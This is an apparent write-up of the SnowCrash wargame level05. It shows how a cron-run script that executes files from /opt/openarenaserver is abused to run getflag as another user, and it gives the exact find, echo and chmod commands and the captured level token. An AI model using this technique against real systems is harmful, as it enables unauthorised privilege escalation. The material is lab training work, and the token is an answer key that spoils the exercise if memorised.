./level05

Upon inspecting the home directory, we found it empty.
As a typical investigative step in privilege escalation tasks, we set out to find files owned by the user *flag05*. Our search led us to identify the file *openarenaserver*, situated in the */usr/sbin* directory.

```
level05@SnowCrash:~$ find / -type f -user flag05 2>/dev/null
/usr/sbin/openarenaserver

level05@SnowCrash:~$ cat /usr/sbin/openarenaserver
#!/bin/sh

for i in /opt/openarenaserver/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
```

Curiosity drove us to examine its content: a bash script.
The script is designed to iteratively execute files in the */opt/openarenaserver* directory. Each file, once executed, is subjected to a runtime limit of 5 seconds (enforced by *ulimit*). Subsequent to its execution, the file is deleted, as indicated by the *rm -f "$i"* command. This entire operation is scheduled to run every 2 minutes.

Recognizing the potential to exploit this behavior, we crafted a simple bash script that invokes the getflag command. However, instead of the standard output, we would redirect the result to a directory we had permissions to access, ensuring that the flag would be retrievable post-execution.

```
level05@SnowCrash:~$ echo "getflag > /var/tmp/flag" > /opt/openarenaserver/script

level05@SnowCrash:~$ chmod +x /opt/openarenaserver/script

... wait 2 minutes ...

level05@SnowCrash:~$ cat /var/tmp/flag
Check flag.Here is your token : viuaaale9huek52boumoomioc


level05@SnowCrash:~$ su level06
Password: viuaaale9huek52boumoomioc

level06@SnowCrash:~$
```